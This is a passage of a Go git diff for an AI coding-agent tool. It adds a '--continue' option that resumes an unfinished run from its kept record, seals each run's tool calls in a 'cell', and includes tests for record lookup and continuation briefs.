TestTheNameQuestionIsAskedOnlyWhereItMeansSomething(t *testing.T) { + asked := func(door pairDoor, args []string, showing bool) bool { + out := &pairScreenText{} + door.term = newTerminal(strings.NewReader("\n"), out) + _ = door.naming(context.Background(), "", args, showing) + return strings.Contains(out.String(), "Press Enter to keep that") + } + t.Setenv("CODEAF_HOME", t.TempDir()) + key, err := pair.NewLinkKey() + if err != nil { + t.Fatal(err) + } + token := pair.LinkRef{Code: "k7m2q9xd", Key: key}.Token() + person := pairDoor{asksName: true} + if !asked(person, nil, false) || !asked(person, []string{"42-715-302"}, false) { + t.Fatal("a join with no name was not asked") + } + if asked(person, nil, true) || asked(person, []string{"approve", token}, false) || asked(person, []string{token}, false) { + t.Fatal("a door that shows a code or approves was asked for a name") + } + if asked(pairDoor{}, nil, false) { + t.Fatal("a run with nobody at a terminal was asked") + } + if _, err := devname.Set(home.Dir(), "atlas"); err != nil { + t.Fatal(err) + } + if asked(person, nil, false) { + t.Fatal("a computer that already has a name was asked again") + } +} diff --git a/cmd/codeaf/do.go b/cmd/codeaf/do.go index 6252ec504d..233b029c67 100644 --- a/cmd/codeaf/do.go +++ b/cmd/codeaf/do.go @@ -1,13 +1,16 @@ package main import ( + "cmp" "context" "crypto/rand" "encoding/hex" "encoding/json" "errors" + "flag" "fmt" "github.com/Agent-Field/codeaf/internal/crewroute" + "github.com/Agent-Field/codeaf/internal/devname" "github.com/Agent-Field/codeaf/internal/router" "io" "log" @@ -354,6 +357,8 @@ func runDo(args []string) error { slotsRaw := flags.String("slots", "", "how many workers may run at once for this run; 0 is no limit "+ "(default: your task.parallel setting, which is no limit)") + continueID := flags.String("continue", "", "carry on a run that did not finish (or was kept with --keep): "+ + "its id is on the `record kept at` line; any words after it are this round's finding") debug := flags.Bool("debug", false, debugFlagHelp()) if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { return err @@ -378,7 +383,7 @@ func runDo(args []string) error { // the model-call log carries, and a second reading could name a different // run in a process that had opened two. run := trace.RunFrom(ctx) - task, err := readText(flags.Name(), flags.Args()) + next, err := errandTask(flags, *continueID) if err != nil { return err } @@ -394,7 +399,7 @@ func runDo(args []string) error { } return doErrand(doRequest{ effort: effort, pins: pins.pins, - task: task, run: run, database: *database, keep: *keep, workspace: *workspace, + task: next.brief, assignment: next.assignment, cellRoot: next.cellRoot, run: run, database: *database, keep: *keep, workspace: *workspace, timeout: wall.wall, asJSON: *asJSON, yesSpend: *yesSpend, model: *model, planModel: *planModel, checkModel: *checkModel, contextFill: *contextFill, completionReserve: *completionReserve, slots: slots, @@ -406,6 +411,12 @@ func runDo(args []string) error { // whole command rather than a piece of it. type doRequest struct { task string + // assignment is what the person first asked for, when task is a + // continuation of it. It names the run; empty is a fresh run, named by task. + assignment string + // cellRoot is the cell a continuation goes on working in; empty mints one + // (cells on, the default) or runs on the host. + cellRoot string // run is the id this invocation minted at the door ([trace.Begin]). It goes // out on the `--json` envelope, where it is the join to the model-call log // and to the debug record's folder, both of which are named by it. @@ -460,6 +471,31 @@ type doRequest struct { newBeltCompleter func(model string) session.Completer } +// headline is what names this run: the assignment it carries on, or its task. +func (r doRequest) headline() string { + return cmp.Or(r.assignment, r.task) +} + +// errandTask is the task text of this invocation and, on a continuation, the +// assignment it carries on. The words after --continue are the finding. +func errandTask(flags *flag.FlagSet, continueID string) (continuation, error) { + if continueID == "" { + task, err := readText(flags.Name(), flags.Args()) + return continuation{brief: task}, err + } + if err := continuesOnRunRoad(); err != nil { + return continuation{}, err + } + return continuedBrief(continueID, strings.Join(flags.Args(), " ")) +} + +// sayRecordKept names a kept record on stderr, and how to carry it on. The +// path stays the last line, which is where callers read it. +func sayRecordKept(w io.Writer, folder string) { + fmt.Fprintln(w, continueHint(folder)) + fmt.Fprintf(w, "record kept at %s\n", folder) +} + func (r doRequest) residentWaitOrDefault() time.Duration { if r.residentWait > 0 { return r.residentWait @@ -581,16 +617,16 @@ func doErrand(request doRequest) error { fmt.Fprintln(request.stderr, seats.Report()) call := router.CrewCallID(request.run) if seats.Crew != nil { - config.LogCrewDecision(profileDir, call, *seats.Crew, repo, crewTitle(request.task)) + config.LogCrewDecision(profileDir, call, *seats.Crew, repo, crewTitle(request.headline())) } outcome, err := errandRun(request, seats, started) if err != nil { if !request.asJSON { if outcome.recordKept != "" { - fmt.Fprintf(request.stderr, "record kept at %s\n", outcome.recordKept) + sayRecordKept(request.stderr, outcome.recordKept) } if seats.Crew != nil { - config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.task), router.CrewNotKept, 0) + config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.headline()), router.CrewNotKept, 0) } return err } @@ -607,7 +643,7 @@ func doErrand(request doRequest) error { if outcome.resolvedStop() == stopDone { settled = router.CrewAccepted } - config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.task), settled, outcome.Spend) + config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.headline()), settled, outcome.Spend) fmt.Fprintln(request.stderr, "crew: "+seats.Crew.Line("", outcome.Spend)) } // THE RUN NAMES ITSELF ON EVERY PATH, including the one where nothing @@ -856,7 +892,7 @@ func errandRun(request doRequest, seats config.Seats, started time.Time) (outcom // during the unwind kills the process the way it always did. SIGKILL is // outside all of this and stays correct by accident: no defer runs, so // nothing deletes the store either. - signalled, stopSignals := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + signalled, stopSignals := signal.NotifyContext(hostSeated(context.Background()), os.Interrupt, syscall.SIGTERM) defer stopSignals() // The person's own ending of the run is the one fact the usage counts // keep about how it ended: the interrupt word, not a failure word. @@ -1236,9 +1272,11 @@ func sameStore(left, right string) bool { return leftErr == nil && rightErr == nil && os.SameFile(leftInfo, rightInfo) } +// residentHost names the computer that holds the store, spelled as every other +// screen spells a computer ([devname.Shown]): the holder recorded its raw host name. func residentHost(holder *lease.Resident) string { if host := strings.TrimSpace(holder.Host); host != "" { - return host + return devname.Shown(host) } return "unknown host" } @@ -3404,7 +3442,7 @@ func withoutSummaryFileList(deliverable string, artifacts []string) string { func reportErrand(request doRequest, outcome headlessOutcome) error { sayBlocked(request.stderr, outcome) if outcome.recordKept != "" && request.stderr != nil { - fmt.Fprintf(request.stderr, "record kept at %s\n", outcome.recordKept) + sayRecordKept(request.stderr, outcome.recordKept) } if request.asJSON { encoded, err := json.MarshalIndent(errandEnvelope(outcome), "", " ") @@ -3485,7 +3523,7 @@ func errandFooter(outcome headlessOutcome) string { parts = append(parts, elapsed.String()) } if outcome.Nodes > 0 { - parts = append(parts, plural(outcome.Nodes, "node")) + parts = append(parts, plural(outcome.Nodes, "part")) } if spent := config.SpentFigure(outcome.Spend); spent != "" { parts = append(parts, spent) @@ -3639,7 +3677,7 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, // files were there first, still hold what they held, and are none of the // run's business ([session.RunTreeSnapshot]). before := session.SnapshotRunTree(workspace) - title := topicTitle(request.task) + title := topicTitle(request.headline()) _, recordDir, _, err := headlessStore("") if err != nil { return headlessOutcome{}, err @@ -3658,6 +3696,13 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, } outcome.recordKept = recordDir }() + inCell, err := openErrandCell(workspace, request.cellRoot) + if err == nil { + err = inCell.pointFrom(recordDir) + } + if err != nil { + return headlessOutcome{}, err + } store, err := session.OpenRunPlanAt(filepath.Join(recordDir, "plandb.db"), title, request.task) if err != nil { return headlessOutcome{}, err @@ -3712,7 +3757,7 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, Work: seats.Work.Model, Plan: seats.Plan.Model, Check: seats.Check.Model, - }, doStanding(workspace), completerFor), + }, doStanding(workspace), completerFor, inCell.workerOptions()...), }) errand := headlessOutcome{ Artifacts: []string{}, diff --git a/cmd/codeaf/do_cell.go b/cmd/codeaf/do_cell.go new file mode 100644 index 0000000000..dcfdf53dcc --- /dev/null +++ b/cmd/codeaf/do_cell.go @@ -0,0 +1,149 @@ +package main + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + runengine "github.com/Agent-Field/codeaf/internal/run" + "github.com/Agent-Field/codeaf/internal/session" +) + +// A RUN IN A CELL IS A CHAT'S SESSION WITHOUT THE CHAT. With cells on (the default) the +// run's workers ride the seat a chat rides — minted and built by the same +// functions ([v3MintSession], [v3Seated]) — so every tool call seals and `codeaf +// cell log` shows the run's turns. The run's record folder points at the cell +// (cellPointer), and `do --continue` follows the pointer back to it. + +// cellPointer is the file in a record folder that names the cell the run worked +// in. A record without one is a pre-cell run and continues from the record alone. +const cellPointer = "cell" + +// runCellClass is the class a run's cell declares. A run's workers drive the +// run's own record (`plandb done`, the trajectory), which lives outside the +// directory they edit, so their calls cannot be confined to it: the cell is +// host-bound and every call it seals is external, never re-run after a crash. +const runCellClass = cell.HostBound + +// errandCell is the cell one run works in. The zero value is a run with no +// cell: no seat, no pointer, the host as ever. +type errandCell struct { + root string + seat executor.Seat +} + +// openErrandCell puts a run in a cell: the one named by resume when a +// continuation follows a record that has one, a new one otherwise. Flag off, it +// answers the zero value and touches nothing. +func openErrandCell(workspace, resume string) (errandCell, error) { + if !cell.Enabled() { + return errandCell{}, nil + } + place, err := errandPlace(workspace, resume) + if err != nil { + return errandCell{}, err + } + seat, _, _ := v3SeatOf(place, stderrSay) + return errandCell{root: place.Dir, seat: seat}, nil +} + +// errandPlace is the session place of the run's cell: the folder, with the +// directory the run edits as the tree its calls seal (a borrowed workspace). +func errandPlace(workspace, resume string) (session.Place, error) { + if resume != "" { + return v3PlaceFor(resume, workspace, false), nil + } + bucket, err := v3ProjectDir(workspace) + if err != nil { + return session.Place{}, err + } + return v3MintSessionAs(runCellClass, bucket, workspace, v3StampLaunchDir(v3LaunchDir(), workspace), false) +} + +// workerOptions seats every worker of the run on the cell's seat. +func (c errandCell) workerOptions() []runengine.WorkerOption { + if c.seat == nil { + return nil + } + return []runengine.WorkerOption{runengine.WithSeat(c.seat)} +} + +// pointFrom writes the pointer into the record folder. A run with no cell +// writes nothing. +func (c errandCell) pointFrom(record string) error { + if c.root == "" { + return nil + } + return os.WriteFile(filepath.Join(record, cellPointer), []byte(c.root+"\n"), 0o600) +} + +// cellOf is the cell root a record points at, and empty for a pre-cell record +// or one whose cell is gone: both continue from the record alone. +func cellOf(record string) string { + raw, err := os.ReadFile(filepath.Join(record, cellPointer)) + if err != nil { + return "" + } + root := strings.TrimSpace(string(raw)) + if _, err := cell.OpenAt(root, filepath.Base(root)); err != nil { + return "" + } + return root +} + +// sealedState is what a cell's chain holds of an earlier run: how many turns +// were sealed, the last one, and the calls that began and never finished. +type sealedState struct { + turns int + head string + unfinished []string +} + +// sealedStateOf reads the chain of the cell at root. A cell that cannot be read +// has sealed nothing that can be named. +func sealedStateOf(root string) sealedState { + c, err := cell.OpenAt(root, filepath.Base(root)) + if err != nil { + return sealedState{} + } + turns, _ := cellstore.Turns(c) + state := sealedState{turns: len(turns), unfinished: unfinishedCalls(c)} + if len(turns) > 0 { + state.head = short(turns[len(turns)-1].ID) + } + return state +} + +// unfinishedCalls names each call the call log holds an intent for and no +// completion. They are surfaced and never run again. +func unfinishedCalls(c cell.Cell) []string { + _, rec, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + return nil + } + lines := make([]string, len(rec.Incomplete)) + for i, in := range rec.Incomplete { + lines[i] = fmt.Sprintf("- %s (%s), started %s", in.Tool, in.SideEffect, + time.UnixMilli(in.Started).UTC().Format("2006-01-02T15:04:05Z")) + } + return lines +} + +// empty says the chain holds nothing worth a block in a brief. +func (s sealedState) empty() bool { return s.turns == 0 && len(s.unfinished) == 0 } + +// words is the sealed state as the continuation brief carries it. +func (s sealedState) words() string { + var out strings.Builder + fmt.Fprintf(&out, "%s\nThe run's cell sealed %d turns, the last %s; its files stand as that turn left them.", continueSealedHeader, s.turns, orDash(s.head)) + if len(s.unfinished) > 0 { + out.WriteString("\nThese calls began and never finished. They are not run again; look at what they left in the tree before relying on it:\n") + out.WriteString(strings.Join(s.unfinished, "\n")) + } + return out.String() +} diff --git a/cmd/codeaf/do_cell_test.go b/cmd/codeaf/do_cell_test.go new file mode 100644 index 0000000000..c0a84e46a2 --- /dev/null +++ b/cmd/codeaf/do_cell_test.go @@ -0,0 +1,136 @@ +package main + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +// doInCell runs one scripted errand and answers the record it kept. +func doInCell(t *testing.T, workspace, task, cellRoot string) string { + t.Helper() + var stdout, stderr strings.Builder + err := doErrand(doRequest{task: task, cellRoot: cellRoot, workspace: workspace, asJSON: true, keep: true, + timeout: 60 * time.Second, stdout: &stdout, stderr: &stderr, + newBeltCompleter: func(string) session.Completer { return finishingSeat(0) }}) + if err != nil { + t.Fatalf("run: %v\n%s\n%s", err, stderr.String(), stdout.String()) + } + lines := strings.Split(strings.TrimSpace(stderr.String()), "\n") + return strings.TrimPrefix(lines[len(lines)-1], "record kept at ") +} + +func sealedTurns(t *testing.T, root string) int { + t.Helper() + c, err := cell.OpenAt(root, filepath.Base(root)) + if err != nil { + t.Fatal(err) + } + turns, err := cellstore.Turns(c) + if err != nil { + t.Fatal(err) + } + return len(turns) +} + +func TestRunInCellSealsItsCallsAndContinuesFromThem(t *testing.T) { + beltRunEnv(t) + t.Setenv(cell.EnvVar, "1") + t.Setenv("CODEAF_PLANDB_BIN", beltPlandbDoor(t)) + workspace := beltRepoWorkspace(t) + + first := doInCell(t, workspace, "write out.txt", "") + root := cellOf(first) + if root == "" { + t.Fatalf("the record %s points at no cell", first) + } + sealed := sealedTurns(t, root) + if sealed == 0 { + t.Fatal("the run's tool calls sealed nothing") + } + + next, err := continuedBrief(recordID(first), "and one more") + if err != nil || next.cellRoot != root { + t.Fatalf("continuedBrief = %+v, %v; want the cell %s", next, err, root) + } + if !strings.Contains(next.brief, continueSealedHeader) { + t.Fatalf("the brief does not carry the sealed state:\n%s", next.brief) + } + second := doInCell(t, workspace, next.brief, next.cellRoot) + if cellOf(second) != root { + t.Fatalf("the continuation left the cell: %s", cellOf(second)) + } + if again := sealedTurns(t, root); again <= sealed { + t.Fatalf("the continuation sealed no turn: %d then %d", sealed, again) + } +} + +func TestRunWithCellsOffMakesNoCell(t *testing.T) { + beltRunEnv(t) + t.Setenv(cell.EnvVar, "0") + t.Setenv("CODEAF_PLANDB_BIN", beltPlandbDoor(t)) + + record := doInCell(t, beltRepoWorkspace(t), "write out.txt", "") + if cellOf(record) != "" { + t.Fatal("a run with cells off points at a cell") + } + if _, err := os.Stat(filepath.Join(record, cellPointer)); !os.IsNotExist(err) { + t.Fatalf("a pointer was written: %v", err) + } + if _, err := os.Stat(home.Join("v3", "projects")); !os.IsNotExist(err) { + t.Fatalf("a project bucket was made: %v", err) + } +} + +func TestPreCellRecordContinuesFromTheRecordAlone(t *testing.T) { + home := beltRunEnv(t) + folder := makeRecord(t, home, "77", "rename the logger") + prior, err := readPriorRun(folder) + if err != nil { + t.Fatal(err) + } + if prior.cellRoot != "" || !prior.sealed.empty() { + t.Fatalf("a pre-cell record reads as sealed: %+v", prior) + } + if brief := continuationBrief(prior, ""); strings.Contains(brief, continueSealedHeader) { + t.Fatalf("a pre-cell brief names a sealed state:\n%s", brief) + } +} + +func TestSealedStateIsInTheBriefAndTheAssignmentSurvivesIt(t *testing.T) { + prior := priorRun{assignment: "add a flag", ending: "it was stopped", + sealed: sealedState{turns: 3, head: "abc", unfinished: []string{"- bash (external), started now"}}} + brief := continuationBrief(prior, "finish it") + for _, want := range []string{continueSealedHeader, "sealed 3 turns", "never finished", "not run again", "bash (external)"} { + if !strings.Contains(brief, want) { + t.Fatalf("brief lacks %q:\n%s", want, brief) + } + } + if got := assignmentOf(brief); got != "add a flag" { + t.Fatalf("assignmentOf = %q", got) + } +} + +func TestASealedChainIsNotAnEmptySession(t *testing.T) { + t.Setenv(cell.EnvVar, "1") + place, err := v3MintSession(t.TempDir(), t.TempDir(), "", false) + if err != nil { + t.Fatal(err) + } + if !v3EmptySession(place.Dir) { + t.Fatal("a fresh cell is not empty") + } + if err := os.WriteFile(filepath.Join(place.Dir, cellstore.TurnsPath), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + if v3EmptySession(place.Dir) { + t.Fatal("a cell with sealed turns would be reaped as litter") + } +} diff --git a/cmd/codeaf/do_continue.go b/cmd/codeaf/do_continue.go new file mode 100644 index 0000000000..62a9f20507 --- /dev/null +++ b/cmd/codeaf/do_continue.go @@ -0,0 +1,224 @@ +package main + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + homepkg "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/plandb" + "github.com/Agent-Field/codeaf/internal/session" +) + +// CONTINUE IS THE SAME ASSIGNMENT PLUS ONE FINDING, run in the tree the last run +// left. A headless run edits the person's own directory in place, so the tree is +// already where it was; what a continuation needs from the record is the +// assignment, how the run ended and what its plan reached. It is composed here +// into the brief of an ordinary new run, so nothing below the door changes. +// +// The wrapper is written around the INNERMOST assignment ([assignmentOf]): a +// continuation of a continuation names the first request once, not a stack of +// wrappers. + +const ( + // recordPrefix is what every private record folder is named with, and what + // an id leaves off: the id is the part a person can type. + recordPrefix = "codeaf-do-" + // continueAssignmentHeader introduces the assignment inside the wrapper. + continueAssignmentHeader = "The original assignment:\n" + // continuePreamble is exactly what [continuationBrief] writes before the + // assignment. It is matched EXACTLY when peeled, never as a substring. + continuePreamble = "Carry on a task a previous run started in this directory. Its edits are already on disk, so parts of the assignment may be done. " + + "Plan only what the assignment still needs; do not redo finished work or add verification the assignment does not ask for.\n\n" + + continueAssignmentHeader + continueEndingHeader = "How the previous run ended: " + continueReachedHeader = "What the previous run's plan reached:" + continueSealedHeader = "What the previous run sealed:" + continueAskedHeader = "What is asked of this round, in the person's words (the assignment above is unchanged):" + // resultClip bounds one task's result in the carried account. + resultClip = 400 +) + +// continueSections is every block the wrapper writes AFTER the assignment, so +// [assignmentOf] knows where an assignment stops. +var continueSections = []string{continueEndingHeader, continueReachedHeader, continueSealedHeader, continueAskedHeader} + +// endingWords is the root's status in the product's own words. +var endingWords = map[plandb.Status]string{ + plandb.StatusDone: "it finished", + plandb.StatusFailed: "it stopped before it finished", + plandb.StatusCancelled: "it was stopped", + plandb.StatusRunning: "it was interrupted", +} + +// priorRun is what a kept record says about a run: the assignment, the ending +// and one line for every task its plan made. +type priorRun struct { + assignment string + ending string + reached []string + // cellRoot is the cell the run worked in, and sealed what that cell's chain + // holds; both are empty for a pre-cell record. + cellRoot string + sealed sealedState +} + +// assignmentOf recovers the innermost assignment from a brief that may itself +// be a continuation, and returns any other brief unchanged. +func assignmentOf(brief string) string { + for { + rest, wrapped := strings.CutPrefix(brief, continuePreamble) + if !wrapped { + return brief + } + end := len(rest) + for _, section := range continueSections { + if at := strings.Index(rest, "\n\n"+section); at >= 0 && at < end { + end = at + } + } + brief = strings.TrimSpace(rest[:end]) + } +} + +// continuationBrief composes the brief of the next round: the wrapper, the +// assignment, the ending, what the plan reached, and the person's words when +// there are any. A block with nothing in it is not written. +func continuationBrief(prior priorRun, words string) string { + var brief strings.Builder + brief.WriteString(continuePreamble + prior.assignment) + brief.WriteString("\n\n" + continueEndingHeader + prior.ending + ".") + if len(prior.reached) > 0 { + brief.WriteString("\n\n" + continueReachedHeader + "\n" + strings.Join(prior.reached, "\n")) + } + if !prior.sealed.empty() { + brief.WriteString("\n\n" + prior.sealed.words()) + } + if words = strings.TrimSpace(words); words != "" { + brief.WriteString("\n\n" + continueAskedHeader + "\n" + words) + } + return brief.String() +} + +// readPriorRun reads a kept record's plan. It opens the store the way a run +// does, so a folder that is not a record is refused rather than created. +func readPriorRun(folder string) (priorRun, error) { + path := filepath.Join(folder, "plandb.db") + if _, err := os.Stat(path); err != nil { + return priorRun{}, fmt.Errorf("%s holds no record of a run", folder) + } + store, err := plandb.Open(path, "", "", "", "") + if err != nil { + return priorRun{}, fmt.Errorf("read the record at %s: %w", folder, err) + } + defer store.Close() + root := store.Task(store.RootID()) + if root == nil { + return priorRun{}, fmt.Errorf("the record at %s has no run in it", folder) + } + prior := priorRun{assignment: assignmentOf(strings.TrimSpace(root.Description)), ending: endingWords[root.Status]} + if prior.ending == "" { + prior.ending = "it did not finish" + } + for _, task := range store.Tasks() { + if task.ID != root.ID { + prior.reached = append(prior.reached, reachedLine(task)) + } + } + if prior.cellRoot = cellOf(folder); prior.cellRoot != "" { + prior.sealed = sealedStateOf(prior.cellRoot) + } + return prior, nil +} + +// reachedLine is one task of the earlier plan: how it stands and what it said. +func reachedLine(task *plandb.Task) string { + said := strings.TrimSpace(task.Result + task.Error) + line := fmt.Sprintf("- %s [%s]", task.Title, task.Status) + if said == "" { + return line + } + return line + ": " + clip(firstLine(said), resultClip) +} + +// resolveRecord turns what a person typed into a record folder: the id `record +// kept at` printed, an unambiguous start of one, or the folder's own path. +func resolveRecord(id string) (string, error) { + id = strings.TrimSpace(id) + if id == "" { + return "", errors.New("--continue needs the id of a run · `record kept at` names it") + } + if info, err := os.Stat(id); err == nil && info.IsDir() { + return id, nil + } + found, err := recordsStartingWith(recordPrefix + strings.TrimPrefix(id, recordPrefix)) + switch { + case err != nil || len(found) == 0: + return "", fmt.Errorf("no kept run is named %q · a run keeps its record when it did not finish, or with --keep", id) + case len(found) > 1: + return "", fmt.Errorf("%q names %d kept runs · say more of it", id, len(found)) + } + return found[0], nil +} + +// recordsStartingWith lists the record folders whose name starts with prefix. +func recordsStartingWith(prefix string) ([]string, error) { + runs := homepkg.Join("runs") + entries, err := os.ReadDir(runs) + if err != nil { + return nil, err + } + var found []string + for _, entry := range entries { + if entry.IsDir() && strings.HasPrefix(entry.Name(), prefix) { + found = append(found, filepath.Join(runs, entry.Name())) + } + } + sort.Strings(found) + return found, nil +} + +// recordID is the part of a record folder's name a person types after +// `--continue`. +func recordID(folder string) string { + return strings.TrimPrefix(filepath.Base(folder), recordPrefix) +} + +// continueHint is the stderr line that makes a kept record findable as a run +// to carry on. +func continueHint(folder string) string { + return "continue it with: codeaf do --continue " + recordID(folder) +} + +// continuation is what a continued run is handed: the brief of the next round, +// the assignment it carries on, and the cell it goes on working in ("" when the +// record has none). +type continuation struct { + brief, assignment, cellRoot string +} + +// continuedBrief is the whole door: an id and the person's words in, the next +// round out. +func continuedBrief(id, words string) (continuation, error) { + folder, err := resolveRecord(id) + if err != nil { + return continuation{}, err + } + prior, err := readPriorRun(folder) + if err != nil { + return continuation{}, err + } + return continuation{continuationBrief(prior, words), prior.assignment, prior.cellRoot}, nil +} + +// continuesOnRunRoad says the run road can carry this request on: the older engine +// keeps its record in another store, which --continue does not read. +func continuesOnRunRoad() error { + if session.BashBeltAsked() { + return nil + } + return errors.New("--continue reads a run's record, which only the run engine keeps · unset CODEAF_TASK_BELT to use it") +} diff --git a/cmd/codeaf/do_continue_test.go b/cmd/codeaf/do_continue_test.go new file mode 100644 index 0000000000..958b686341 --- /dev/null +++ b/cmd/codeaf/do_continue_test.go @@ -0,0 +1,176 @@ +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/session" +) + +func TestAssignmentOfPeelsExactlyOneWrapperAtATime(t *testing.T) { + first := continuationBrief(priorRun{assignment: "add a flag", ending: "it was stopped"}, "") + second := continuationBrief(priorRun{assignment: assignmentOf(first), ending: "it finished"}, "also a test") + if got := assignmentOf(second); got != "add a flag" { + t.Fatalf("assignment after two rounds = %q", got) + } + if strings.Count(second, continuePreamble) != 1 { + t.Fatalf("a continuation of a continuation nested:\n%s", second) + } +} + +func TestAssignmentOfLeavesAPreambleInsideAnAssignmentAlone(t *testing.T) { + own := "explain this sentence: " + continuePreamble + "then stop" + if got := assignmentOf(own); got != own { + t.Fatalf("a preamble inside an assignment was peeled: %q", got) + } +} + +func TestContinuationBriefWritesOnlyTheBlocksItHas(t *testing.T) { + bare := continuationBrief(priorRun{assignment: "do x", ending: "it finished"}, " ") + for _, header := range []string{continueReachedHeader, continueAskedHeader} { + if strings.Contains(bare, header) { + t.Fatalf("empty block %q was written:\n%s", header, bare) + } + } + full := continuationBrief(priorRun{assignment: "do x", ending: "it finished", reached: []string{"- a [done]"}}, "also y") + for _, want := range []string{"do x", continueEndingHeader + "it finished.", "- a [done]", continueAskedHeader + "\nalso y"} { + if !strings.Contains(full, want) { + t.Fatalf("brief lacks %q:\n%s", want, full) + } + } +} + +func TestPersonsWordsNeverEnterTheAssignment(t *testing.T) { + brief := continuationBrief(priorRun{assignment: "do x", ending: "it finished"}, "also y") + if got := assignmentOf(brief); got != "do x" { + t.Fatalf("assignment = %q", got) + } +} + +func makeRecord(t *testing.T, home, name, brief string) string { + t.Helper() + folder := filepath.Join(home, "runs", recordPrefix+name) + store, err := session.OpenRunPlanAt(filepath.Join(folder, "plandb.db"), "title", brief) + if err != nil { + t.Fatal(err) + } + defer store.Close() + if err := store.EndRoot("limit"); err != nil { + t.Fatal(err) + } + return folder +} + +func TestResolveRecordByIdPrefixAndPath(t *testing.T) { + home := beltRunEnv(t) + one := makeRecord(t, home, "1234567", "a") + two := makeRecord(t, home, "1299999", "b") + for id, want := range map[string]string{"1234567": one, recordPrefix + "1234567": one, "1234": one, "1299": two, one: one} { + if got, err := resolveRecord(id); err != nil || got != want { + t.Fatalf("resolveRecord(%q) = %q, %v; want %q", id, got, err, want) + } + } + for _, id := range []string{"12", "77", ""} { + if got, err := resolveRecord(id); err == nil { + t.Fatalf("resolveRecord(%q) = %q, want a refusal", id, got) + } + } +} + +func TestReadPriorRunReadsAssignmentAndEnding(t *testing.T) { + home := beltRunEnv(t) + folder := makeRecord(t, home, "42", "rename the logger") + prior, err := readPriorRun(folder) + if err != nil { + t.Fatal(err) + } + if prior.assignment != "rename the logger" || prior.ending != endingWords["failed"] { + t.Fatalf("prior = %+v", prior) + } + if _, err := readPriorRun(t.TempDir()); err == nil { + t.Fatal("a folder with no record was read") + } +} + +// seenBriefs records every prompt a worker was handed, and answers as inner. +type seenBriefs struct { + inner session.Completer + mu sync.Mutex + docs []string +} + +func (s *seenBriefs) CompleteWithMessages(ctx context.Context, msgs []ai.Message, opts ...ai.Option) (*ai.Response, error) { + s.mu.Lock() + s.docs = append(s.docs, beltDocument(msgs)) + s.mu.Unlock() + return s.inner.CompleteWithMessages(ctx, msgs, opts...) +} + +func (s *seenBriefs) sawAll(words ...string) bool { + s.mu.Lock() + defer s.mu.Unlock() + for _, doc := range s.docs { + found := true + for _, word := range words { + found = found && strings.Contains(doc, word) + } + if found { + return true + } + } + return false +} + +func TestContinueCarriesAFailedRunToDone(t *testing.T) { + beltRunEnv(t) + t.Setenv("CODEAF_PLANDB_BIN", beltPlandbDoor(t)) + workspace := beltRepoWorkspace(t) + failing := &beltSeat{ever: func(context.Context, []ai.Message) (*ai.Response, error) { + return nil, errors.New("scripted worker failure") + }} + var stdout, stderr strings.Builder + _ = doErrand(doRequest{task: "write out.txt", workspace: workspace, asJSON: true, timeout: 5 * time.Second, + stdout: &stdout, stderr: &stderr, newBeltCompleter: func(string) session.Completer { return failing }}) + folder := keptRunFolder(t, stderr.String()) + if !strings.Contains(stderr.String(), continueHint(folder)) { + t.Fatalf("stderr does not say how to continue:\n%s", stderr.String()) + } + + got, err := continuedBrief(recordID(folder), "and say so") + brief, assignment := got.brief, got.assignment + if err != nil || assignment != "write out.txt" { + t.Fatalf("continuedBrief = %q, %q, %v", brief, assignment, err) + } + seat := &seenBriefs{inner: finishingSeat(0)} + stdout.Reset() + stderr.Reset() + err = doErrand(doRequest{task: brief, assignment: assignment, workspace: workspace, asJSON: true, + timeout: 60 * time.Second, stdout: &stdout, stderr: &stderr, + newBeltCompleter: func(string) session.Completer { return seat }}) + if err != nil { + t.Fatalf("continued run: %v\n%s\n%s", err, stderr.String(), stdout.String()) + } + if stop := doEnvelopeFields(t, stdout.String())["stop"]; stop != "done" { + t.Fatalf("continued run stop = %v", stop) + } + if !seat.sawAll("write out.txt", continueEndingHeader, "and say so") { + t.Fatalf("no worker was handed the assignment, the ending and the finding:\n%v", seat.docs) + } + if _, err := os.Stat(filepath.Join(workspace, "out.txt")); err != nil { + t.Fatalf("continued run left no file: %v", err) + } +} + +func TestContinueRefusesAnUnknownRun(t *testing.T) { + beltRunEnv(t) + if _, err := continuedBrief("nope", ""); err == nil || !strings.Contains(err.Error(), `"nope"`) { + t.Fatalf("unknown id error = %v", err) + } +} diff --git a/cmd/codeaf/do_residenthost_test.go b/cmd/codeaf/do_residenthost_test.go new file mode 100644 index 0000000000..8aee09d932 --- /dev/null +++ b/cmd/codeaf/do_residenthost_test.go @@ -0,0 +1,16 @@ +package main + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/lease" +) + +func TestResidentHostReadsLikeEveryOtherComputerLabel(t *testing.T) { + cases := map[string]string{"studio.local": "studio", " desk ": "desk", "": "unknown host"} + for host, want := range cases { + if got := residentHost(&lease.Resident{Host: host}); got != want { + t.Errorf("residentHost(%q) = %q; want %q", host, got, want) + } + } +} diff --git a/cmd/codeaf/doctor.go b/cmd/codeaf/doctor.go index 8be599c98a..3c69324df4 100644 --- a/cmd/codeaf/doctor.go +++ b/cmd/codeaf/doctor.go @@ -41,7 +41,10 